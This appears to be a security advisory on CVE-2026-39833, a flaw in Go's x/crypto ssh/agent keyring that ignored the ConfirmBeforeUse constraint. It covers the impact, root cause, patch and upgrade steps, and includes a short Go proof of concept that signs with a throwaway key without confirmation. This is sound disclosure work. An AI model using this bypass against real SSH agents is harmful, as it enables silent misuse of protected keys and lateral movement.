critical · 9.1CVE-2026-39833Jun 25, 2026

CVE-2026-39833: golang.org/x/crypto ssh/agent ConfirmBeforeUse Constraint Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The Go SSH agent keyring silently ignored the 'require user confirmation' flag on stored keys, letting any process with agent access sign with those keys without ever prompting the user.

Packagegolang.org/x/crypto/ssh/agent
Ecosystemgo
Affected< 0.52.0
Fixed in0.52.0
CVE-2026-39833: golang.org/x/crypto ssh/agent ConfirmBeforeUse Constraint Bypass

The problem

The in-memory keyring returned by `NewKeyring()` accepted keys loaded with the `ConfirmBeforeUse` constraint but never checked that flag at sign time. Every call to `Sign()` succeeded immediately, with no prompt and no error to the caller.

Any process that could reach the agent socket, such as a malicious binary running under the same user or a remote host receiving a forwarded agent, could silently use protected keys. This enables stealthy lateral movement and privilege escalation in CI/CD pipelines, shared dev boxes, and SSH-forwarded sessions.

Proof of concept

go
package main

import (
	"crypto/ed25519"
	"crypto/rand"
	"fmt"
	"golang.org/x/crypto/ssh"
	"golang.org/x/crypto/ssh/agent"
)

func main() {
	// Generate a throwaway key to demonstrate the bypass.
	_, priv, _ := ed25519.GenerateKey(rand.Reader)

	kr := agent.NewKeyring()

	// Add the key with ConfirmBeforeUse: true.
	// On vulnerable versions (< 0.52.0), Add() silently succeeds
	// and stores the key WITHOUT any enforcement mechanism.
	err := kr.Add(agent.AddedKey{
		PrivateKey:      priv,
		Comment:         "deploy-key",
		ConfirmBeforeUse: true, // <-- constraint accepted but NEVER enforced
	})
	fmt.Println("Add() error:", err) // nil on vulnerable versions

	// Sign arbitrary data. No confirmation prompt fires.
	pub, _ := ssh.NewPublicKey(priv.Public())
	sig, err := kr.Sign(pub, []byte("sensitive-auth-data"))
	fmt.Println("Sign() error:", err)   // nil -- bypass complete
	fmt.Println("Signature obtained:", sig != nil) // true

	// On patched versions (>= 0.52.0), Add() returns:
	// "agent: unsupported constraint ConfirmBeforeUse"
	// and Sign() never reaches the key.
}

The root cause is a missing security check in `keyring.Add` (CWE-358: Improperly Implemented Security Check for Standard). The function recorded the `ConfirmBeforeUse` flag in the stored key struct but `keyring.Sign` never read it before returning a signature.

The patch (Go CL 778640 / CL 778641) fixes this by making `keyring.Add` return an error immediately when any unsupported constraint, including `ConfirmBeforeUse`, is requested. The keyring never stores the key, so `Sign` cannot be reached for it. This is a fail-closed approach: reject at add time rather than trying to implement the confirmation dialog inside the pure in-memory keyring.

The fix

Update `golang.org/x/crypto` to v0.52.0 or later:

``` go get golang.org/x/crypto@v0.52.0 ```

Rebuild and redeploy all affected binaries (Go statically links the library). If you relied on `ConfirmBeforeUse` for access control, treat any keys that were loaded into an affected agent as potentially compromised and rotate them. Use `go mod graph | grep x/crypto` to find transitive dependents that may still pin an older version.

Reported by NCC Group Cryptography Services (sponsored by Teleport).

References: [1][2][3][4][5][6]